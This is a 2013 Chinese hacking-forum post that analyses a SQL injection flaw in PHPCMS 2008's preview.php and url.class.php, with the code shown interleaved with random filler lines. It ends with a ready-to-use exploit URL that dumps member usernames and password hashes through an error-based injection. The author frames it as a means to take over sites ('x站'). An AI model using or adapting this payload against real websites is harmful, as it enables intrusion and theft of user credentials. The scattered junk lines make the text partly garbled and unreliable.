中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
" Q5 D& e# f" @" X; I
+ H* B& B4 l. Z
要转摘的兄弟们,你们还是带个版权吧!
$ I; U1 F! Z ~' P5 b) O: J
- c. h) b5 c, r- A7 P
组织 :
http://www.safekeyer.com/
(欢迎访问)
; i7 s: d" y' g! ] R; _
/ o' [0 i; \ F9 W: S$ i5 W# ^
author: 西毒 blog:
http://hi.baidu.com/sethc5
; g/ g. A3 r4 @+ v D* F" w
4 j* V/ Z' z3 v, A
0 B" J7 e+ o% `( j# }
" d5 N' z: ~" v- g9 G
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
# Q5 O* e' i1 ^, n
6 i$ w( J$ X7 m e. T7 M3 k" l7 t
过程不明显的我就省略了。
" ?/ C7 e& r. p: T
4 S- e9 m3 C; V- ]. k( v8 k
在preview.php 中第7行
- M$ D/ ^, P2 {5 R6 C
N3 I! R: S2 q2 D& b, p
$r = new_stripslashes($info);
" D* Q# M7 h0 F2 c. ?
3 r: J) r" v; S% i4 w1 Q) N
我们跟踪new_stripslashes这个函数
5 |: u" K% K3 j" n' J8 S0 x
8 y3 O, y7 t+ [1 f) Q. V1 \
在global.func.php中可以找到
+ Y$ {; V3 j7 G4 e( A
$ P0 G: `' Q- }- ~9 |: j; k7 J
1
7 E+ q: _, o- U/ m* S( k
2
2 T. e ?- W) ^% Q& y: |/ ~
3
8 w% ~# Z# G# A1 p$ `- x2 `
4
; _- p% F/ x4 O$ P7 ]' M, s2 a5 C. X
5
$ l# ]/ n. d- t7 P7 `) j9 k
6 function new_stripslashes($string)
0 A8 R; @; A7 ?
{
$ O9 ~3 p' f5 b+ M. b0 P
if(!is_array($string)) return stripslashes($string);
" e+ r/ p4 c) I4 Z6 ?, d! h( w2 G
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
0 ~0 F9 B; Y4 z+ S
return $string;
3 ^- _/ D$ S/ ]$ j
}
1 J3 T2 q2 e$ g
$ i! W3 d; o) h5 L
这个函数的功能不用解释了吧
4 j; L, q- E C, H# T* o6 u
* ?; m* \1 d; \8 V$ ~
所以我们看具体应用点再哪?
$ _6 M% ^4 H& g \) b& B
6 J( [) b* N9 x r8 l
1
/ S8 t; ^; P. v% k' v7 F' \* J
2
# h' K, L7 \: r- U- N
3
0 H, n6 n8 J6 a! b: n4 I
4
_( F7 M$ C9 {+ ^# W+ x
5
* M# O s3 m4 ]& n1 t" @
6
" Y# ?" _! X" Z, F# G, d
7
+ v4 h& k6 y4 ~" N" z& m) k3 }
8
; P: w/ i1 n7 T: W0 _2 Q
9
) F$ q% [0 c) z
10
1 O! M0 i- r( y# u
11
5 k( U8 [& }* _9 v! Y2 b' b
12
\$ K! t4 m6 K
13
7 i6 u8 W; M* F6 Y
14
* f* g: i0 c J* c
15
- q% n' o6 P- z2 L F8 ~
16
7 X- f4 V5 R* M' S; R8 n
17
( l `# T) _; f0 C) H! e0 L8 n
18
5 j9 @" W( h' H' R, U3 y1 Z1 B5 |5 c
19
! j+ v% P! l; Y8 m, D+ `3 ^0 |; j
20
. \7 }5 l7 n3 Q2 q7 E
21
' P- c( z1 B4 h+ v2 f1 V
22
3 L L) E9 }( S4 C/ p
23
( p& P0 J8 r: h2 \' W3 V
24
2 o& m& L! @: y2 Q, ]4 L
25
: m1 L9 s2 c5 J: z3 I; P ]
26
6 Y6 O/ n& R$ r% x, d y4 g. k, G
27
6 }' C3 V) l9 |- p; E
28
$ p- N% R0 o$ K. g& ~
29
, n9 i: }+ m' L
30
3 [ Q& p" X$ E! \6 } _9 O* C
31
5 P6 J% S" t* A, f
32
2 i. V9 Q/ Z% b/ o7 h
33
8 ~ _+ k: A B1 R$ Y
34
- p7 j7 Z/ U; e& g( A, X8 c% Q
35 require dirname(__FILE__).'/include/common.inc.php';
4 f- S% U3 A* o3 a
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
. d. ` a6 d- l7 \. V0 t
require_once CACHE_MODEL_PATH.'content_output.class.php';
* V. W$ X1 u# d B; C
require_once 'output.class.php';
# I0 n" A! E4 [' ?
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
+ m' n! o" B0 S9 w* O
$r = new_stripslashes($info); //反转义了.....关键
, N# x+ K# @$ R
$C = cache_read('category_'.$r['catid'].'.php');
9 |3 ?$ }1 A4 g& W- W6 n, {
$out = new content_output();
7 A/ f+ p8 e. z ]1 Z: a
$r['userid'] = $_userid;
) E' T- E4 t" Y
$r['inputtime'] = TIME;
# u+ o; u+ C+ x/ x5 A
$data = $out->get($r);
9 s3 {& _9 C. h# Y9 q4 q- w$ Y8 ]0 E/ J0 R
extract($data);
$ E! i+ Y2 h& i* O$ T2 y
$userid = $_username;
$ v- |/ J2 y' }' {3 w
for($i=1;$i<10;$i++)
9 d% Z( ?* e8 ^ q, D& ~8 K
{
) z: s) Q% x5 w' R- J. i1 _7 I
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
) |# x- D( K/ |6 O5 o, r
}
# J2 N e9 W5 J
, A8 U6 q8 J# d" i& `$ j5 R
$array_images = $str_attachmentArray;
$ u f) H0 r. U3 m: R
$images_number = 10;
7 f1 z4 n6 }0 `$ l8 d/ Q
$allow_priv = $allow_readpoint = 1;
) h- H' Z' y8 r4 x3 [( m
$updatetime = date('Y-m-d H:i:s',TIME);
7 z( ]2 @+ z3 F) b6 _1 _ C9 w
( b. |6 z' m0 O' N. V7 W" y
$page = max(intval($page), 1);
& T; y5 ` A1 q/ j4 O+ K% L# A3 M
$pages = $titles = '';
" |- N. C. ]6 A
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
# b3 s! k- \, J1 I0 J0 i! e, W
{
7 l9 _+ e' Y: G
require_once 'url.class.php';
" D; q N1 N/ m" @6 [4 b
$curl = new url();
& t E R. F! f! I
$contents = array_filter(explode('', $content));
" B2 g) d, L {" X f4 M# r* x
$pagenumber = count($contents);
: E* Q+ ?. }7 U# ?+ K: p
for($i=1; $i<=$pagenumber; $i++)
5 | R9 k+ ~; q' |9 A6 i
{
/ \3 d4 P# K, @0 v
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
; Z# a b3 Z6 H/ X$ a4 G" i
}
4 l- q: k3 T. x$ Z# q
其中细节我就不说了...
' j8 W, ~+ }+ t$ |7 ]
/ t$ T' d* `' R( u
我们看看这个$curl资源句柄中的show方法
9 _$ ^, n: F" s. M
p! j' ]2 {3 G& g: ]
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
+ H& V6 ]+ P5 O2 R% |- t9 |
- c2 y1 a8 d4 `1 ?8 J9 F
1
- k( |% @" M U. r* B+ r
2
/ @0 E7 j6 Y1 I. Q. _ m
3
0 r* c9 Y! L! i- u
4
, N* y+ H& z: ~+ I( B/ F: h
5
+ Z9 q7 \& G' ~! C3 g
6
7 o% j. G" M4 g; i) L
7
% M4 E% {( U4 i9 _% Q
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
% A5 i, Y# B3 ~7 }( C' a: X e' S% U
{
$ E- p' D" {' T5 E: N- G8 y7 x
global $PHPCMS;
! \* y* ~' h* X$ l
if($catid == 0 || $time == 0 || $prefix == '')
U. p% l1 T+ U2 @0 I: U. i8 @( K
{
! Q( o" `4 Q$ M( W4 Q, p
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
5 C$ u. s1 y0 u- [" e7 i' u9 q
if($r['isupgrade'] && !empty($r['url']))
0 @* k4 h8 q# y$ `. z
{
+ j0 [2 f) b& G# d1 j+ @8 N
0 E1 H: l4 q% N; x. G, [% S
所以结合前面的......我们x站了吧
* [2 v# m" `$ Q3 T! m5 F
- ?. K) h) R) W
给出exp
) F; Q5 L+ V4 d7 k
8 f3 v: m1 t" S) G
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
" [+ _4 H: G+ f t- ^% E1 P/ ?* y9 n. F
" N: F' `& a' N4 E% b* m/ A
截图看一下
) _0 m9 D- a b0 u5 e
. n4 ?1 A7 `7 I( Z4 f) X
最后真心说句,360收购漏洞计划,价格真心低.....
6 C ~- i+ s0 `
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2